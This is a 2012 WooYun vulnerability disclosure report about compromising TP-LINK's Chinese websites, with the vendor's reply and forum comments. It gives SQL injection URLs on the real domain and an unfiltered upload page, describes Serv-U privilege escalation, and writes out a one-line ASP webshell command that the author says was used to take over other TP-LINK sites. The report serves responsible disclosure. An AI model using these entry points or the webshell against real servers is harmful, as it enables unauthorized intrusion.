当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-012226

漏洞标题：TP-LINK某站漏洞导致几个分站沦陷

相关厂商：深圳普联技术有限公司

漏洞作者： pangshenjie

提交时间：2012-09-21 15:17

修复时间：2012-09-26 15:18

公开时间：2012-09-26 15:18

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-09-21： 细节已通知厂商并且等待厂商处理中
2012-09-26： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

某天准备买个无线网卡，不小心就搞了下官网。。。
之前在wooyun有人发过，不过官方修补不彻底，囧。。其实就是修补了那个页面的过滤，厂商不重视安全，这是为什么呢？

详细说明：

注入点几枚

http://www.tp-link.cn/pages/smb/products.asp?c=3


http://www.tp-link.cn/pages/article-detail.asp?result=school&d=157


厂商还是全部代码都查查吧，全局过滤一下。
sqlmap跑出了密码:


后台的安全是在是不可以恭维啊。
http://www.tp-link.cn/pages/cms/upload.asp
什么都不过滤。。。
shell的权限挺小的，这个目录不支持aspx，本盘不能跨目录。

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files\root\

目录下读取到了支持aspx的目录
读取C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files\root\f6ef54bd\de1a25fb\App_Web_8tlihkqz.0.cs文件发现还有aspx的站在服务器上。
跨不过去，翻了下43598端口开了，用servu的提权脚本执行：

whoami >I:\tpwebroot\download\2.txt

发现servu被降权了，是user权限，不过权限也很高了，试着一下dir I:\ >I:\tpwebroot\download\3.txt,列出目录了，有读取权限，一层一层读下去，找到了其他网站的路径，直接

echo ^<%execute^(request^("#"^)^)%^> >I:\mobileMVC\test.asp

搞到了http://www.tp-linkmobile.com.cn/，同理还有http://bbs.tp-linkmobile.com.cn。。。后面就不继续了，希望厂商还是控制下目录权限吧，好多个应用放到一个站。

漏洞证明：


修复方案：

主站的注入彻底修复下吧，servu的那个权限修改下，目录的权限也修改下吧。

版权声明：转载请注明来源 pangshenjie@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-09-26 15:18

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2012-09-26 16:21 | 剑心 ( 实习白帽子 | Rank:37 漏洞数:9 | xsser)

    @xsser @pangshenjie 洞主就是我说的菊花哥

  2. 2012-09-26 17:03 | 苦逼老爷爷 ( 普通白帽子 | Rank:211 漏洞数:17 | 用户太懒什么都没留下)

    可怜的lz...洞被修好了，然后华丽丽的忽略了。

  3. 2012-09-26 17:09 | 深圳普联技术有限公司(乌云厂商)

    非常谢谢LZ反馈，没有及时上这来处理，抱歉

  4. 2012-09-26 17:54 | Michael ( 实习白帽子 | Rank:87 漏洞数:24 )

    @深圳普联技术有限公司 @苦逼老爷爷 我报的那个也是修复了以后忽略

  5. 2012-09-26 18:42 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    @剑心 鼠仙你多少小号

  6. 2012-09-26 18:44 | 剑心 ( 实习白帽子 | Rank:37 漏洞数:9 | xsser)

    @pangshenjie 很多

  7. 2012-09-26 18:48 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    @深圳普联技术有限公司 囧，“危害等级：无影响厂商忽略”

  8. 2012-09-26 21:31 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    @深圳普联技术有限公司 @xsser 厂商私下里联系过了，态度还是很好的，但是“危害等级：无影响厂商忽略”这种是不是有些厂商不会用还是不了解捏？是不是应该给厂商说明一下。为什么好多厂商都这样呢？